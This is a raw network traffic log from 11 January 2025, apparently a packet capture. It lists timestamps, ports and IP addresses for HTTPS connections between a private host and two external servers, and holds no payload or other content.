Jan 11, 2025 07:54:31.880548954 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:31.883268118 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.886456013 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.886843920 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:31.886868000 CET	443	50687	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.890980959 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.893184900 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.893534899 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:31.897279978 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.900547028 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.900774002 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:31.903779984 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.906950951 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.907253981 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:31.910321951 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.914239883 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.914494991 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:31.917737961 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.920977116 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.921292067 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:31.924432039 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.927598000 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.927902937 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:31.931402922 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.935028076 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.935370922 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:31.938220978 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.941447020 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.941798925 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:31.944541931 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.948791027 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.949063063 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:31.952277899 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.963067055 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.963215113 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.963247061 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.963347912 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:31.963545084 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:31.965084076 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.969079971 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.969460964 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:31.972737074 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.976197004 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.976444006 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:31.979439020 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.982722998 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.982952118 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.982983112 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:31.982992887 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.983129025 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.983222008 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:31.983320951 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.983360052 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.983591080 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:31.983604908 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.983644009 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.983722925 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.983855009 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:31.983901024 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:31.983917952 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.001503944 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.001543999 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.001699924 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.001739979 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.001936913 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.001939058 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.001939058 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.001976013 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.002099037 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.002229929 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.002304077 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.002304077 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.002424955 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.002463102 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.002676964 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.018627882 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.018667936 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.018731117 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.018918037 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.019052982 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.019052982 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.019095898 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.019135952 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.019215107 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.019336939 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.019438028 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.019476891 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.019514084 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.019556046 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.019678116 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.034157991 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.034492970 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.034512997 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.034533024 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.034631968 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.034755945 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.034765959 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.034847021 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.034995079 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.035176992 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.035264969 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.035340071 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.046951056 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.047051907 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.047142982 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.047297001 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.047348022 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.047413111 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.047511101 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.047626972 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.047707081 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.047827005 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.047977924 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.057143927 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.057245016 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.057351112 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.057496071 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.057569027 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.057593107 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.057713985 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.057832956 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.057907104 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.058053017 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.058121920 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.083787918 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.107285023 CET	62708	443	192.168.11.20	162.159.61.3
Jan 11, 2025 07:54:32.114748001 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.114826918 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.115227938 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.115510941 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.161145926 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.227324009 CET	443	62708	162.159.61.3	192.168.11.20
Jan 11, 2025 07:54:32.233299017 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.234292984 CET	443	62708	162.159.61.3	192.168.11.20
Jan 11, 2025 07:54:32.237770081 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.238084078 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.238106012 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.238147974 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.238249063 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.238473892 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.238514900 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.238708019 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.238750935 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.238915920 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.239078999 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.239119053 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.239274979 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.239305019 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.239325047 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.239343882 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.239365101 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.239382982 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.242259979 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.242489100 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.242542982 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.242558002 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.242664099 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.242691040 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.245717049 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.246048927 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.246140003 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.246189117 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.246232986 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.246416092 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.249164104 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.249387026 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.249511003 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.249627113 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.249716997 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.249754906 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.249785900 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.249805927 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.250005960 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.260205984 CET	62708	443	192.168.11.20	162.159.61.3
Jan 11, 2025 07:54:32.266526937 CET	50687	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.276230097 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.298872948 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.298918009 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.299204111 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.299561977 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.299941063 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.300369024 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.314711094 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.315018892 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.315191031 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.315236092 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.315567970 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.315613985 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.315891027 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.331896067 CET	62708	443	192.168.11.20	162.159.61.3
Jan 11, 2025 07:54:32.360955954 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.365868092 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.367333889 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.369218111 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.370136976 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.373650074 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.374022961 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.374027967 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.374105930 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.374176025 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.374368906 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.374403000 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.374569893 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.374690056 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.374875069 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.374902010 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.374922991 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.375421047 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.382692099 CET	62708	443	192.168.11.20	162.159.61.3
Jan 11, 2025 07:54:32.385090113 CET	443	50687	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.389816999 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.411900043 CET	50687	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.417321920 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.421684980 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.421869040 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.422023058 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.422142982 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.422175884 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.422410011 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.422530890 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.422605038 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.422667027 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.422786951 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.422908068 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.423043966 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.423064947 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.423085928 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.423137903 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.423362017 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.426311016 CET	443	50687	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.426342010 CET	443	50687	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.426464081 CET	443	50687	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.426671982 CET	443	50687	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.426696062 CET	443	50687	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.426718950 CET	50687	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.426764965 CET	50687	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.426976919 CET	50687	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.441452026 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.441477060 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.441673040 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.441842079 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.441875935 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.442101002 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.442136049 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.442306995 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.442414045 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.442501068 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.442617893 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.442738056 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.442886114 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.443053961 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.443140030 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.443187952 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.443233967 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.443341970 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.443475962 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.443589926 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.443705082 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.443825006 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.443954945 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.444072008 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.444242954 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.444365025 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.444430113 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.444483042 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.444591045 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.444710970 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.444833040 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.444921970 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.445072889 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.445166111 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.445283890 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.445532084 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.448560953 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.448596954 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.448771000 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.448889971 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.449002028 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.449035883 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.449168921 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.449315071 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.449414968 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.449533939 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.449729919 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.451966047 CET	443	62708	162.159.61.3	192.168.11.20
Jan 11, 2025 07:54:32.456935883 CET	443	62708	162.159.61.3	192.168.11.20
Jan 11, 2025 07:54:32.478007078 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.478094101 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.478162050 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.478286028 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.478456974 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.478584051 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.478643894 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.478755951 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.478813887 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.478946924 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.479068995 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.479249954 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.479362011 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.479384899 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.479489088 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.479576111 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.479700089 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.479790926 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.479913950 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.480032921 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.480154991 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.480273008 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.480359077 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.480426073 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.480530977 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.480654955 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.480762005 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.480881929 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.481000900 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.481122017 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.481240988 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.481416941 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.481532097 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.481673956 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.481739998 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.481761932 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.481888056 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.481973886 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.482085943 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.482228041 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.482347012 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.482450962 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.482456923 CET	62708	443	192.168.11.20	162.159.61.3
Jan 11, 2025 07:54:32.482630014 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.482748985 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.482831001 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.482944012 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.482949018 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.482976913 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.483133078 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.483226061 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.483338118 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.483371019 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.483473063 CET	443	61038	23.45.46.202	192.168.11.20
